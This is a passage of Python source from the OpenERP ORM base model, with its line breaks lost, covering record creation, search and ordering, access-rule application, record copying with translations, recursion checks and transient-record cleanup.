other (i.e computed incrementally) cr.execute('SELECT parent_right, id FROM %s WHERE %s ORDER BY %s' % (self._table, clause, parent_order), params) parents = cr.fetchall() # Find Position of the element position = None for (parent_pright, parent_id) in parents: if parent_id == id: break position = parent_pright + 1 # It's the first node of the parent if not position: if not parent_val: position = 1 else: cr.execute('select parent_left from '+self._table+' where id=%s', (parent_val,)) position = cr.fetchone()[0] + 1 if pleft < position <= pright: raise except_orm(_('UserError'), _('Recursivity Detected.')) if pleft < position: cr.execute('update '+self._table+' set parent_left=parent_left+%s where parent_left>=%s', (distance, position)) cr.execute('update '+self._table+' set parent_right=parent_right+%s where parent_right>=%s', (distance, position)) cr.execute('update '+self._table+' set parent_left=parent_left+%s, parent_right=parent_right+%s where parent_left>=%s and parent_left<%s', (position-pleft, position-pleft, pleft, pright)) else: cr.execute('update '+self._table+' set parent_left=parent_left+%s where parent_left>=%s', (distance, position)) cr.execute('update '+self._table+' set parent_right=parent_right+%s where parent_right>=%s', (distance, position)) cr.execute('update '+self._table+' set parent_left=parent_left-%s, parent_right=parent_right-%s where parent_left>=%s and parent_left<%s', (pleft-position+distance, pleft-position+distance, pleft+distance, pright+distance)) result += self._store_get_values(cr, user, ids, vals.keys(), context) result.sort() done = {} for order, object, ids_to_update, fields_to_recompute in result: key = (object, tuple(fields_to_recompute)) done.setdefault(key, {}) # avoid to do several times the same computation todo = [] for id in ids_to_update: if id not in done[key]: done[key][id] = True if id not in deleted_related[object]: todo.append(id) self.pool.get(object)._store_set_values(cr, user, todo, fields_to_recompute, context) self._workflow_trigger(cr, user, ids, 'trg_write', context=context) return True # # TODO: Should set perm to user.xxx # def create(self, cr, user, vals, context=None): """ Create a new record for the model. The values for the new record are initialized using the ``vals`` argument, and if necessary the result of ``default_get()``. :param cr: database cursor :param user: current user id :type user: integer :param vals: field values for new record, e.g {'field_name': field_value, ...} :type vals: dictionary :param context: optional context arguments, e.g. {'lang': 'en_us', 'tz': 'UTC', ...} :type context: dictionary :return: id of new record created :raise AccessError: * if user has no create rights on the requested object * if user tries to bypass access rules for create on the requested object :raise ValidateError: if user tries to enter invalid value for a field that is not in selection :raise UserError: if a loop would be created in a hierarchy of objects a result of the operation (such as setting an object as its own parent) **Note**: The type of field values to pass in ``vals`` for relationship fields is specific. Please see the description of the :py:meth:`~osv.osv.osv.write` method for details about the possible values and how to specify them. """ if not context: context = {} if self.is_transient(): self._transient_vacuum(cr, user) self.check_access_rights(cr, user, 'create') vals = self._add_missing_default_values(cr, user, vals, context) if self._log_access: for f in LOG_ACCESS_COLUMNS: if vals.pop(f, None) is not None: _logger.warning( 'Field `%s` is not allowed when creating the model `%s`.', f, self._name) tocreate = {} for v in self._inherits: if self._inherits[v] not in vals: tocreate[v] = {} else: tocreate[v] = {'id': vals[self._inherits[v]]} (upd0, upd1, upd2) = ('', '', []) upd_todo = [] unknown_fields = [] for v in vals.keys(): if v in self._inherit_fields and v not in self._columns: (table, col, col_detail, original_parent) = self._inherit_fields[v] tocreate[table][v] = vals[v] del vals[v] else: if (v not in self._inherit_fields) and (v not in self._columns): del vals[v] unknown_fields.append(v) if unknown_fields: _logger.warning( 'No such field(s) in model %s: %s.', self._name, ', '.join(unknown_fields)) # Try-except added to filter the creation of those records whose filds are readonly. # Example : any dashboard which has all the fields readonly.(due to Views(database views)) try: cr.execute("SELECT nextval('"+self._sequence+"')") except: raise except_orm(_('UserError'), _('You cannot perform this operation. New Record Creation is not allowed for this object as this object is for reporting purpose.')) id_new = cr.fetchone()[0] for table in tocreate: if self._inherits[table] in vals: del vals[self._inherits[table]] record_id = tocreate[table].pop('id', None) # When linking/creating parent records, force context without 'no_store_function' key that # defers stored functions computing, as these won't be computed in batch at the end of create(). parent_context = dict(context) parent_context.pop('no_store_function', None) if record_id is None or not record_id: record_id = self.pool.get(table).create(cr, user, tocreate[table], context=parent_context) else: self.pool.get(table).write(cr, user, [record_id], tocreate[table], context=parent_context) upd0 += ',' + self._inherits[table] upd1 += ',%s' upd2.append(record_id) #Start : Set bool fields to be False if they are not touched(to make search more powerful) bool_fields = [x for x in self._columns.keys() if self._columns[x]._type=='boolean'] for bool_field in bool_fields: if bool_field not in vals: vals[bool_field] = False #End for field in vals.copy(): fobj = None if field in self._columns: fobj = self._columns[field] else: fobj = self._inherit_fields[field][2] if not fobj: continue groups = fobj.write if groups: edit = False for group in groups: module = group.split(".")[0] grp = group.split(".")[1] cr.execute("select count(*) from res_groups_users_rel where gid IN (select res_id from ir_model_data where name='%s' and module='%s' and model='%s') and uid=%s" % \ (grp, module, 'res.groups', user)) readonly = cr.fetchall() if readonly[0][0] >= 1: edit = True break elif readonly[0][0] == 0: edit = False else: edit = False if not edit: vals.pop(field) for field in vals: if self._columns[field]._classic_write: upd0 = upd0 + ',"' + field + '"' upd1 = upd1 + ',' + self._columns[field]._symbol_set[0] upd2.append(self._columns[field]._symbol_set[1](vals[field])) #for the function fields that receive a value, we set them directly in the database #(they may be required), but we also need to trigger the _fct_inv() if (hasattr(self._columns[field], '_fnct_inv')) and not isinstance(self._columns[field], fields.related): #TODO: this way to special case the related fields is really creepy but it shouldn't be changed at #one week of the release candidate. It seems the only good way to handle correctly this is to add an #attribute to make a field `really readonly´ and thus totally ignored by the create()... otherwise #if, for example, the related has a default value (for usability) then the fct_inv is called and it #may raise some access rights error. Changing this is a too big change for now, and is thus postponed #after the release but, definitively, the behavior shouldn't be different for related and function #fields. upd_todo.append(field) else: #TODO: this `if´ statement should be removed because there is no good reason to special case the fields #related. See the above TODO comment for further explanations. if not isinstance(self._columns[field], fields.related): upd_todo.append(field) if field in self._columns \ and hasattr(self._columns[field], 'selection') \ and vals[field]: self._check_selection_field_value(cr, user, field, vals[field], context=context) if self._log_access: upd0 += ',create_uid,create_date,write_uid,write_date' upd1 += ",%s,(now() at time zone 'UTC'),%s,(now() at time zone 'UTC')" upd2.extend((user, user)) cr.execute('insert into "'+self._table+'" (id'+upd0+") values ("+str(id_new)+upd1+')', tuple(upd2)) upd_todo.sort(lambda x, y: self._columns[x].priority-self._columns[y].priority) if self._parent_store and not context.get('defer_parent_store_computation'): if self.pool._init: self.pool._init_parent[self._name] = True else: parent = vals.get(self._parent_name, False) if parent: cr.execute('select parent_right from '+self._table+' where '+self._parent_name+'=%s order by '+(self._parent_order or self._order), (parent,)) pleft_old = None result_p = cr.fetchall() for (pleft,) in result_p: if not pleft: break pleft_old = pleft if not pleft_old: cr.execute('select parent_left from '+self._table+' where id=%s', (parent,)) pleft_old = cr.fetchone()[0] pleft = pleft_old else: cr.execute('select max(parent_right) from '+self._table) pleft = cr.fetchone()[0] or 0 cr.execute('update '+self._table+' set parent_left=parent_left+2 where parent_left>%s', (pleft,)) cr.execute('update '+self._table+' set parent_right=parent_right+2 where parent_right>%s', (pleft,)) cr.execute('update '+self._table+' set parent_left=%s,parent_right=%s where id=%s', (pleft+1, pleft+2, id_new)) # default element in context must be remove when call a one2many or many2many rel_context = context.copy() for c in context.items(): if c[0].startswith('default_'): del rel_context[c[0]] result = [] for field in upd_todo: result += self._columns[field].set(cr, self, id_new, field, vals[field], user, rel_context) or [] self._validate(cr, user, [id_new], context) if not context.get('no_store_function', False): result += self._store_get_values(cr, user, [id_new], list(set(vals.keys() + self._inherits.values())), context) result.sort() done = [] for order, object, ids, fields2 in result: if not (object, ids, fields2) in done: self.pool.get(object)._store_set_values(cr, user, ids, fields2, context) done.append((object, ids, fields2)) if self._log_create and not (context and context.get('no_store_function', False)): message = self._description + \ " '" + \ self.name_get(cr, user, [id_new], context=context)[0][1] + \ "' " + _("created.") self.log(cr, user, id_new, message, True, context=context) self.check_access_rule(cr, user, [id_new], 'create', context=context) self._workflow_trigger(cr, user, [id_new], 'trg_create', context=context) return id_new def browse(self, cr, uid, select, context=None, list_class=None, fields_process=None): """Fetch records as objects allowing to use dot notation to browse fields and relations :param cr: database cursor :param uid: current user id :param select: id or list of ids. :param context: context arguments, like lang, time zone :rtype: object or list of objects requested """ self._list_class = list_class or browse_record_list cache = {} # need to accepts ints and longs because ids coming from a method # launched by button in the interface have a type long... if isinstance(select, (int, long)): return browse_record(cr, uid, select, self, cache, context=context, list_class=self._list_class, fields_process=fields_process) elif isinstance(select, list): return self._list_class((browse_record(cr, uid, id, self, cache, context=context, list_class=self._list_class, fields_process=fields_process) for id in select), context=context) else: return browse_null() def _store_get_values(self, cr, uid, ids, fields, context): """Returns an ordered list of fields.functions to call due to an update operation on ``fields`` of records with ``ids``, obtained by calling the 'store' functions of these fields, as setup by their 'store' attribute. :return: [(priority, model_name, [record_ids,], [function_fields,])] """ if fields is None: fields = [] stored_functions = self.pool._store_function.get(self._name, []) # use indexed names for the details of the stored_functions: model_name_, func_field_to_compute_, id_mapping_fnct_, trigger_fields_, priority_ = range(5) # only keep functions that should be triggered for the ``fields`` # being written to. to_compute = [f for f in stored_functions \ if ((not f[trigger_fields_]) or set(fields).intersection(f[trigger_fields_]))] mapping = {} fresults = {} for function in to_compute: fid = id(function[id_mapping_fnct_]) if not fid in fresults: # use admin user for accessing objects having rules defined on store fields fresults[fid] = [id2 for id2 in function[id_mapping_fnct_](self, cr, SUPERUSER_ID, ids, context) if id2] target_ids = fresults[fid] # the compound key must consider the priority and model name key = (function[priority_], function[model_name_]) for target_id in target_ids: mapping.setdefault(key, {}).setdefault(target_id,set()).add(tuple(function)) # Here mapping looks like: # { (10, 'model_a') : { target_id1: [ (function_1_tuple, function_2_tuple) ], ... } # (20, 'model_a') : { target_id2: [ (function_3_tuple, function_4_tuple) ], ... } # (99, 'model_a') : { target_id1: [ (function_5_tuple, function_6_tuple) ], ... } # } # Now we need to generate the batch function calls list # call_map = # { (10, 'model_a') : [(10, 'model_a', [record_ids,], [function_fields,])] } call_map = {} for ((priority,model), id_map) in mapping.iteritems(): functions_ids_maps = {} # function_ids_maps = # { (function_1_tuple, function_2_tuple) : [target_id1, target_id2, ..] } for fid, functions in id_map.iteritems(): functions_ids_maps.setdefault(tuple(functions), []).append(fid) for functions, ids in functions_ids_maps.iteritems(): call_map.setdefault((priority,model),[]).append((priority, model, ids, [f[func_field_to_compute_] for f in functions])) ordered_keys = call_map.keys() ordered_keys.sort() result = [] if ordered_keys: result = reduce(operator.add, (call_map[k] for k in ordered_keys)) return result def _store_set_values(self, cr, uid, ids, fields, context): """Calls the fields.function's "implementation function" for all ``fields``, on records with ``ids`` (taking care of respecting ``multi`` attributes), and stores the resulting values in the database directly.""" if not ids: return True field_flag = False field_dict = {} if self._log_access: cr.execute('select id,write_date from '+self._table+' where id IN %s', (tuple(ids),)) res = cr.fetchall() for r in res: if r[1]: field_dict.setdefault(r[0], []) res_date = time.strptime((r[1])[:19], '%Y-%m-%d %H:%M:%S') write_date = datetime.datetime.fromtimestamp(time.mktime(res_date)) for i in self.pool._store_function.get(self._name, []): if i[5]: up_write_date = write_date + datetime.timedelta(hours=i[5]) if datetime.datetime.now() < up_write_date: if i[1] in fields: field_dict[r[0]].append(i[1]) if not field_flag: field_flag = True todo = {} keys = [] for f in fields: if self._columns[f]._multi not in keys: keys.append(self._columns[f]._multi) todo.setdefault(self._columns[f]._multi, []) todo[self._columns[f]._multi].append(f) for key in keys: val = todo[key] if key: # use admin user for accessing objects having rules defined on store fields result = self._columns[val[0]].get(cr, self, ids, val, SUPERUSER_ID, context=context) for id, value in result.items(): if field_flag: for f in value.keys(): if f in field_dict[id]: value.pop(f) upd0 = [] upd1 = [] for v in value: if v not in val: continue if self._columns[v]._type == 'many2one': try: value[v] = value[v][0] except: pass upd0.append('"'+v+'"='+self._columns[v]._symbol_set[0]) upd1.append(self._columns[v]._symbol_set[1](value[v])) upd1.append(id) if upd0 and upd1: cr.execute('update "' + self._table + '" set ' + \ ','.join(upd0) + ' where id = %s', upd1) else: for f in val: # use admin user for accessing objects having rules defined on store fields result = self._columns[f].get(cr, self, ids, f, SUPERUSER_ID, context=context) for r in result.keys(): if field_flag: if r in field_dict.keys(): if f in field_dict[r]: result.pop(r) for id, value in result.items(): if self._columns[f]._type == 'many2one': try: value = value[0] except: pass cr.execute('update "' + self._table + '" set ' + \ '"'+f+'"='+self._columns[f]._symbol_set[0] + ' where id = %s', (self._columns[f]._symbol_set[1](value), id)) return True # # TODO: Validate # def perm_write(self, cr, user, ids, fields, context=None): raise NotImplementedError(_('This method does not exist anymore')) # TODO: ameliorer avec NULL def _where_calc(self, cr, user, domain, active_test=True, context=None): """Computes the WHERE clause needed to implement an OpenERP domain. :param domain: the domain to compute :type domain: list :param active_test: whether the default filtering of records with ``active`` field set to ``False`` should be applied. :return: the query expressing the given domain as provided in domain :rtype: osv.query.Query """ if not context: context = {} domain = domain[:] # if the object has a field named 'active', filter out all inactive # records unless they were explicitely asked for if 'active' in self._all_columns and (active_test and context.get('active_test', True)): if domain: # the item[0] trick below works for domain items and '&'/'|'/'!' # operators too if not any(item[0] == 'active' for item in domain): domain.insert(0, ('active', '=', 1)) else: domain = [('active', '=', 1)] if domain: e = expression.expression(cr, user, domain, self, context) tables = e.get_tables() where_clause, where_params = e.to_sql() where_clause = where_clause and [where_clause] or [] else: where_clause, where_params, tables = [], [], ['"%s"' % self._table] return Query(tables, where_clause, where_params) def _check_qorder(self, word): if not regex_order.match(word): raise except_orm(_('AccessError'), _('Invalid "order" specified. A valid "order" specification is a comma-separated list of valid field names (optionally followed by asc/desc for the direction)')) return True def _apply_ir_rules(self, cr, uid, query, mode='read', context=None): """Add what's missing in ``query`` to implement all appropriate ir.rules (using the ``model_name``'s rules or the current model's rules if ``model_name`` is None) :param query: the current query object """ if uid == SUPERUSER_ID: return def apply_rule(added_clause, added_params, added_tables, parent_model=None, child_object=None): """ :param string parent_model: string of the parent model :param model child_object: model object, base of the rule application """ if added_clause: if parent_model and child_object: # as inherited rules are being applied, we need to add the missing JOIN # to reach the parent table (if it was not JOINed yet in the query) parent_alias = child_object._inherits_join_add(child_object, parent_model, query) # inherited rules are applied on the external table -> need to get the alias and replace parent_table = self.pool.get(parent_model)._table added_clause = [clause.replace('"%s"' % parent_table, '"%s"' % parent_alias) for clause in added_clause] # change references to parent_table to parent_alias, because we now use the alias to refer to the table new_tables = [] for table in added_tables: # table is just a table name -> switch to the full alias if table == '"%s"' % parent_table: new_tables.append('"%s" as "%s"' % (parent_table, parent_alias)) # table is already a full statement -> replace reference to the table to its alias, is correct with the way aliases are generated else: new_tables.append(table.replace('"%s"' % parent_table, '"%s"' % parent_alias)) added_tables = new_tables query.where_clause += added_clause query.where_clause_params += added_params for table in added_tables: if table not in query.tables: query.tables.append(table) return True return False # apply main rules on the object rule_obj = self.pool.get('ir.rule') rule_where_clause, rule_where_clause_params, rule_tables = rule_obj.domain_get(cr, uid, self._name, mode, context=context) apply_rule(rule_where_clause, rule_where_clause_params, rule_tables) # apply ir.rules from the parents (through _inherits) for inherited_model in self._inherits: rule_where_clause, rule_where_clause_params, rule_tables = rule_obj.domain_get(cr, uid, inherited_model, mode, context=context) apply_rule(rule_where_clause, rule_where_clause_params, rule_tables, parent_model=inherited_model, child_object=self) def _generate_m2o_order_by(self, order_field, query): """ Add possibly missing JOIN to ``query`` and generate the ORDER BY clause for m2o fields, either native m2o fields or function/related fields that are stored, including intermediate JOINs for inheritance if required. :return: the qualified field name to use in an ORDER BY clause to sort by ``order_field`` """ if order_field not in self._columns and order_field in self._inherit_fields: # also add missing joins for reaching the table containing the m2o field qualified_field = self._inherits_join_calc(order_field, query) order_field_column = self._inherit_fields[order_field][2] else: qualified_field = '"%s"."%s"' % (self._table, order_field) order_field_column = self._columns[order_field] assert order_field_column._type == 'many2one', 'Invalid field passed to _generate_m2o_order_by()' if not order_field_column._classic_write and not getattr(order_field_column, 'store', False): _logger.debug("Many2one function/related fields must be stored " \ "to be used as ordering fields! Ignoring sorting for %s.%s", self._name, order_field) return # figure out the applicable order_by for the m2o dest_model = self.pool.get(order_field_column._obj) m2o_order = dest_model._order if not regex_order.match(m2o_order): # _order is complex, can't use it here, so we default to _rec_name m2o_order = dest_model._rec_name else: # extract the field names, to be able to qualify them and add desc/asc m2o_order_list = [] for order_part in m2o_order.split(","): m2o_order_list.append(order_part.strip().split(" ", 1)[0].strip()) m2o_order = m2o_order_list # Join the dest m2o table if it's not joined yet. We use [LEFT] OUTER join here # as we don't want to exclude results that have NULL values for the m2o src_table, src_field = qualified_field.replace('"', '').split('.', 1) dst_alias, dst_alias_statement = query.add_join((src_table, dest_model._table, src_field, 'id', src_field), implicit=False, outer=True) qualify = lambda field: '"%s"."%s"' % (dst_alias, field) return map(qualify, m2o_order) if isinstance(m2o_order, list) else qualify(m2o_order) def _generate_order_by(self, order_spec, query): """ Attempt to consruct an appropriate ORDER BY clause based on order_spec, which must be a comma-separated list of valid field names, optionally followed by an ASC or DESC direction. :raise" except_orm in case order_spec is malformed """ order_by_clause = '' order_spec = order_spec or self._order if order_spec: order_by_elements = [] self._check_qorder(order_spec) for order_part in order_spec.split(','): order_split = order_part.strip().split(' ') order_field = order_split[0].strip() order_direction = order_split[1].strip() if len(order_split) == 2 else '' inner_clause = None if order_field == 'id' or (self._log_access and order_field in LOG_ACCESS_COLUMNS.keys()): order_by_elements.append('"%s"."%s" %s' % (self._table, order_field, order_direction)) elif order_field in self._columns: order_column = self._columns[order_field] if order_column._classic_read: inner_clause = '"%s"."%s"' % (self._table, order_field) elif order_column._type == 'many2one': inner_clause = self._generate_m2o_order_by(order_field, query) else: continue # ignore non-readable or "non-joinable" fields elif order_field in self._inherit_fields: parent_obj = self.pool.get(self._inherit_fields[order_field][3]) order_column = parent_obj._columns[order_field] if order_column._classic_read: inner_clause = self._inherits_join_calc(order_field, query) elif order_column._type == 'many2one': inner_clause = self._generate_m2o_order_by(order_field, query) else: continue # ignore non-readable or "non-joinable" fields else: raise ValueError( _("Sorting field %s not found on model %s") %( order_field, self._name)) if inner_clause: if isinstance(inner_clause, list): for clause in inner_clause: order_by_elements.append("%s %s" % (clause, order_direction)) else: order_by_elements.append("%s %s" % (inner_clause, order_direction)) if order_by_elements: order_by_clause = ",".join(order_by_elements) return order_by_clause and (' ORDER BY %s ' % order_by_clause) or '' def _search(self, cr, user, args, offset=0, limit=None, order=None, context=None, count=False, access_rights_uid=None): """ Private implementation of search() method, allowing specifying the uid to use for the access right check. This is useful for example when filling in the selection list for a drop-down and avoiding access rights errors, by specifying ``access_rights_uid=1`` to bypass access rights check, but not ir.rules! This is ok at the security level because this method is private and not callable through XML-RPC. :param access_rights_uid: optional user ID to use when checking access rights (not for ir.rules, this is only for ir.model.access) """ if context is None: context = {} self.check_access_rights(cr, access_rights_uid or user, 'read') # For transient models, restrict acces to the current user, except for the super-user if self.is_transient() and self._log_access and user != SUPERUSER_ID: args = expression.AND(([('create_uid', '=', user)], args or [])) query = self._where_calc(cr, user, args, context=context) self._apply_ir_rules(cr, user, query, 'read', context=context) order_by = self._generate_order_by(order, query) from_clause, where_clause, where_clause_params = query.get_sql() limit_str = limit and ' limit %d' % limit or '' offset_str = offset and ' offset %d' % offset or '' where_str = where_clause and (" WHERE %s" % where_clause) or '' if count: cr.execute('SELECT count("%s".id) FROM ' % self._table + from_clause + where_str + limit_str + offset_str, where_clause_params) res = cr.fetchall() return res[0][0] cr.execute('SELECT "%s".id FROM ' % self._table + from_clause + where_str + order_by + limit_str + offset_str, where_clause_params) res = cr.fetchall() # TDE note: with auto_join, we could have several lines about the same result # i.e. a lead with several unread messages; we uniquify the result using # a fast way to do it while preserving order (http://www.peterbe.com/plog/uniqifiers-benchmark) def _uniquify_list(seq): seen = set() return [x for x in seq if x not in seen and not seen.add(x)] return _uniquify_list([x[0] for x in res]) # returns the different values ever entered for one field # this is used, for example, in the client when the user hits enter on # a char field def distinct_field_get(self, cr, uid, field, value, args=None, offset=0, limit=None): if not args: args = [] if field in self._inherit_fields: return self.pool.get(self._inherit_fields[field][0]).distinct_field_get(cr, uid, field, value, args, offset, limit) else: return self._columns[field].search(cr, self, args, field, value, offset, limit, uid) def copy_data(self, cr, uid, id, default=None, context=None): """ Copy given record's data with all its fields values :param cr: database cursor :param uid: current user id :param id: id of the record to copy :param default: field values to override in the original values of the copied record :type default: dictionary :param context: context arguments, like lang, time zone :type context: dictionary :return: dictionary containing all the field values """ if context is None: context = {} # avoid recursion through already copied records in case of circular relationship seen_map = context.setdefault('__copy_data_seen',{}) if id in seen_map.setdefault(self._name,[]): return seen_map[self._name].append(id) if default is None: default = {} if 'state' not in default: if 'state' in self._defaults: if callable(self._defaults['state']): default['state'] = self._defaults['state'](self, cr, uid, context) else: default['state'] = self._defaults['state'] # build a black list of fields that should not be copied blacklist = set(MAGIC_COLUMNS + ['parent_left', 'parent_right']) def blacklist_given_fields(obj): # blacklist the fields that are given by inheritance for other, field_to_other in obj._inherits.items(): blacklist.add(field_to_other) if field_to_other in default: # all the fields of 'other' are given by the record: default[field_to_other], # except the ones redefined in self blacklist.update(set(self.pool.get(other)._all_columns) - set(self._columns)) else: blacklist_given_fields(self.pool.get(other)) blacklist_given_fields(self) fields_to_copy = dict((f,fi) for f, fi in self._all_columns.iteritems() if f not in default if f not in blacklist if not isinstance(fi.column, fields.function)) data = self.read(cr, uid, [id], fields_to_copy.keys(), context=context) if data: data = data[0] else: raise IndexError( _("Record #%d of %s not found, cannot copy!") %( id, self._name)) res = dict(default) for f, colinfo in fields_to_copy.iteritems(): field = colinfo.column if field._type == 'many2one': res[f] = data[f] and data[f][0] elif field._type == 'one2many': other = self.pool.get(field._obj) # duplicate following the order of the ids because we'll rely on # it later for copying translations in copy_translation()! lines = [other.copy_data(cr, uid, line_id, context=context) for line_id in sorted(data[f])] # the lines are duplicated using the wrong (old) parent, but then # are reassigned to the correct one thanks to the (0, 0, ...) res[f] = [(0, 0, line) for line in lines if line] elif field._type == 'many2many': res[f] = [(6, 0, data[f])] else: res[f] = data[f] return res def copy_translations(self, cr, uid, old_id, new_id, context=None): if context is None: context = {} # avoid recursion through already copied records in case of circular relationship seen_map = context.setdefault('__copy_translations_seen',{}) if old_id in seen_map.setdefault(self._name,[]): return seen_map[self._name].append(old_id) trans_obj = self.pool.get('ir.translation') # TODO it seems fields_get can be replaced by _all_columns (no need for translation) fields = self.fields_get(cr, uid, context=context) for field_name, field_def in fields.items(): # removing the lang to compare untranslated values context_wo_lang = dict(context, lang=None) old_record, new_record = self.browse(cr, uid, [old_id, new_id], context=context_wo_lang) # we must recursively copy the translations for o2o and o2m if field_def['type'] == 'one2many': target_obj = self.pool.get(field_def['relation']) # here we rely on the order of the ids to match the translations # as foreseen in copy_data() old_children = sorted(r.id for r in old_record[field_name]) new_children = sorted(r.id for r in new_record[field_name]) for (old_child, new_child) in zip(old_children, new_children): target_obj.copy_translations(cr, uid, old_child, new_child, context=context) # and for translatable fields we keep them for copy elif field_def.get('translate'): if field_name in self._columns: trans_name = self._name + "," + field_name target_id = new_id source_id = old_id elif field_name in self._inherit_fields: trans_name = self._inherit_fields[field_name][0] + "," + field_name # get the id of the parent record to set the translation inherit_field_name = self._inherit_fields[field_name][1] target_id = new_record[inherit_field_name].id source_id = old_record[inherit_field_name].id else: continue trans_ids = trans_obj.search(cr, uid, [ ('name', '=', trans_name), ('res_id', '=', source_id) ]) user_lang = context.get('lang') for record in trans_obj.read(cr, uid, trans_ids, context=context): del record['id'] # remove source to avoid triggering _set_src del record['source'] record.update({'res_id': target_id}) if user_lang and user_lang == record['lang']: # 'source' to force the call to _set_src # 'value' needed if value is changed in copy(), want to see the new_value record['source'] = old_record[field_name] record['value'] = new_record[field_name] trans_obj.create(cr, uid, record, context=context) def copy(self, cr, uid, id, default=None, context=None): """ Duplicate record with given id updating it with default values :param cr: database cursor :param uid: current user id :param id: id of the record to copy :param default: dictionary of field values to override in the original values of the copied record, e.g: ``{'field_name': overriden_value, ...}`` :type default: dictionary :param context: context arguments, like lang, time zone :type context: dictionary :return: id of the newly created record """ if context is None: context = {} context = context.copy() data = self.copy_data(cr, uid, id, default, context) new_id = self.create(cr, uid, data, context) self.copy_translations(cr, uid, id, new_id, context) return new_id def exists(self, cr, uid, ids, context=None): """Checks whether the given id or ids exist in this model, and return the list of ids that do. This is simple to use for a truth test on a browse_record:: if record.exists(): pass :param ids: id or list of ids to check for existence :type ids: int or [int] :return: the list of ids that currently exist, out of the given `ids` """ if type(ids) in (int, long): ids = [ids] query = 'SELECT id FROM "%s"' % self._table cr.execute(query + "WHERE ID IN %s", (tuple(ids),)) return [x[0] for x in cr.fetchall()] def check_recursion(self, cr, uid, ids, context=None, parent=None): _logger.warning("You are using deprecated %s.check_recursion(). Please use the '_check_recursion()' instead!" % \ self._name) assert parent is None or parent in self._columns or parent in self._inherit_fields,\ "The 'parent' parameter passed to check_recursion() must be None or a valid field name" return self._check_recursion(cr, uid, ids, context, parent) def _check_recursion(self, cr, uid, ids, context=None, parent=None): """ Verifies that there is no loop in a hierarchical structure of records, by following the parent relationship using the **parent** field until a loop is detected or until a top-level record is found. :param cr: database cursor :param uid: current user id :param ids: list of ids of records to check :param parent: optional parent field name (default: ``self._parent_name = parent_id``) :return: **True** if the operation can proceed safely, or **False** if an infinite loop is detected. """ if not parent: parent = self._parent_name # must ignore 'active' flag, ir.rules, etc. => direct SQL query query = 'SELECT "%s" FROM "%s" WHERE id = %%s' % (parent, self._table) for id in ids: current_id = id while current_id is not None: cr.execute(query, (current_id,)) result = cr.fetchone() current_id = result[0] if result else None if current_id == id: return False return True def _get_external_ids(self, cr, uid, ids, *args, **kwargs): """Retrieve the External ID(s) of any database record. **Synopsis**: ``_get_xml_ids(cr, uid, ids) -> { 'id': ['module.xml_id'] }`` :return: map of ids to the list of their fully qualified External IDs in the form ``module.key``, or an empty list when there's no External ID for a record, e.g.:: { 'id': ['module.ext_id', 'module.ext_id_bis'], 'id2': [] } """ ir_model_data = self.pool.get('ir.model.data') data_ids = ir_model_data.search(cr, uid, [('model', '=', self._name), ('res_id', 'in', ids)]) data_results = ir_model_data.read(cr, uid, data_ids, ['module', 'name', 'res_id']) result = {} for id in ids: # can't use dict.fromkeys() as the list would be shared! result[id] = [] for record in data_results: result[record['res_id']].append('%(module)s.%(name)s' % record) return result def get_external_id(self, cr, uid, ids, *args, **kwargs): """Retrieve the External ID of any database record, if there is one. This method works as a possible implementation for a function field, to be able to add it to any model object easily, referencing it as ``Model.get_external_id``. When multiple External IDs exist for a record, only one of them is returned (randomly). :return: map of ids to their fully qualified XML ID, defaulting to an empty string when there's none (to be usable as a function field), e.g.:: { 'id': 'module.ext_id', 'id2': '' } """ results = self._get_xml_ids(cr, uid, ids) for k, v in results.iteritems(): if results[k]: results[k] = v[0] else: results[k] = '' return results # backwards compatibility get_xml_id = get_external_id _get_xml_ids = _get_external_ids # Transience def is_transient(self): """ Return whether the model is transient. See :class:`TransientModel`. """ return self._transient def _transient_clean_rows_older_than(self, cr, seconds): assert self._transient, "Model %s is not transient, it cannot be vacuumed!" % self._name # Never delete rows used in last 5 minutes seconds = max(seconds, 300) query = ("SELECT id FROM " + self._table + " WHERE" " COALESCE(write_date, create_date, (now() at time zone 'UTC'))::timestamp" " < ((now() at time zone 'UTC') - interval %s)") cr.execute(query, ("%s seconds" % seconds,)) ids = [x[0] for x in cr.fetchall()] self.unlink(cr, SUPERUSER_ID, ids) def _transient_clean_old_rows(self, cr, max_count): # Check how many rows we have in the table cr.execute("SELECT count(*) AS row_count FROM " + self._table) res = cr.fetchall() if res[0][0] <= max_count: return # max not reached, nothing to do self._transient_clean_rows_older_than(cr, 300) def _transient_vacuum(self, cr, uid, force=False): """Clean the transient records. This unlinks old records from the transient model tables whenever the "_transient_max_count" or "_max_age" conditions (if any) are reached. Actual cleaning will happen only once every "_transient_check_time" calls. This means this method can be called frequently called (e.g. whenever a new record is created). Example with both max_hours and max_count active: Suppose max_hours = 0.2 (e.g. 12 minutes), max_count = 20, there are 55 rows in the table, 10 created/changed in the last 5 minutes, an additional 12 created/changed between 5 and 10 minutes ago, the rest created/changed more then 12 minutes ago. - age based vacuum will leave the 22 rows created/changed in the last 12 minutes - count based vacuum will wipe out another 12 rows. Not just 2, otherwise each addition would immediately cause the maximum to be reached again. - the 10 rows that have been created/changed the last 5 minutes will NOT be deleted """ assert self._transient, "Model %s is not transient, it cannot be vacuumed!" % self._name _transient_check_time = 20 # arbitrary limit on vacuum executions self._transient_check_count += 1 if not force and (self._transient_check_count < _transient_check_time): return True # no vacuum cleaning this time self._transient_check_count = 0 # Age-based expiration if self._transient_max_hours: self._transient_clean_rows_older_than(cr, self._transient_max_hours * 60 * 60) # Count-based expiration if self._transient_max_count: self._transient_clean_old_rows(cr, self._transient_max_count) return True def resolve_2many_commands(self, cr, uid, field_name, commands, fields=None, context=None): """ Serializes one2many and many2many commands into record dictionaries (as if all the records came from the database via a read()). This method is aimed at onchange methods on one2many and many2many fields. Because commands might be creation commands, not all record dicts will contain an ``id`` field. Commands matching an existing record will have an ``id``. :param field_name: name of the one2many or many2many field matching the commands :type field_name: str :param commands: one2many or many2many commands to execute on ``field_name`` :type commands: list((int|False, int|False, dict|False)) :param fields: list of fields to read from the database, when applicable :type fields: list(str) :returns: records in a shape similar to that returned by ``read()`` (except records may be missing the ``id`` field if they don't exist in db) :rtype: list(dict) """ result = [] # result (list of dict) record_ids = [] # ids of records to read updates = {} # {id: dict} of updates on particular records for command in commands: if not isinstance(command, (list, tuple)): record_ids.append(command) elif command[0] == 0: result.append(command[2]) elif command[0] == 1: record_ids.append(command[1]) updates.setdefault(command[1], {}).update(command[2]) elif command[0] in (2, 3): record_ids = [id for id in record_ids if id != command[1]] elif command[0] == 4: record_ids.append(command[1]) elif command[0] == 5: result, record_ids = [], [] elif command[0] == 6: result, record_ids = [], list(command[2]) # read the records and apply the updates other_model = 